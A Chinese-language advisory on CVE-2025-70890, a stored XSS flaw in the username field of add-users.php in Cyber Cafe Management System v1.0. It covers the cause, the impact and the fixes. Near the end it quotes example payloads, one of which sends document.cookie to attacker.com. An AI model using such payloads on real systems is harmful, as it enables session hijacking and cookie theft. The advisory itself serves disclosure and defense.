CVE-2025-70890CVE-2025-70890是Cyber Cafe Management System v1.0中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许经过身份认证的攻击者通过add-users.php端点的username参数注入任意JavaScript代码。由于输入验证不足,恶意脚本会被永久存储在系统数据库中。当其他用户(如管理员或其他员工)访问包含该恶意数据的页面时,注入的JavaScript代码会在其浏览器上下文中执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击或对其他用户进行进一步的社会工程攻击。攻击者利用此漏洞可以获取受害者的认证cookies、操纵页面内容或重定向用户到恶意网站。由于该漏洞影响用户管理功能,潜在影响范围较广,所有访问受影响页面的用户都可能成为受害者。
该漏洞根源在于add-users.php端点对用户输入的username参数缺乏充分的输入验证和输出编码。攻击者以认证用户身份登录系统后,访问add-users.php功能模块,在创建新用户时将恶意JavaScript代码作为username值提交。系统直接将此输入存储到数据库中,未进行任何安全过滤或HTML实体编码。当其他用户访问显示用户列表的相关页面时,存储的恶意脚本被从数据库中取出并直接嵌入到HTML响应中,由于缺乏适当的输出编码,浏览器将其作为可执行脚本处理。攻击者常用的payload包括:<script>alert(document.cookie)</script>、<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等。防御此类漏洞需要在输入阶段进行严格的白名单验证,并在所有用户可控数据的输出阶段进行HTML实体编码或使用安全的模板引擎。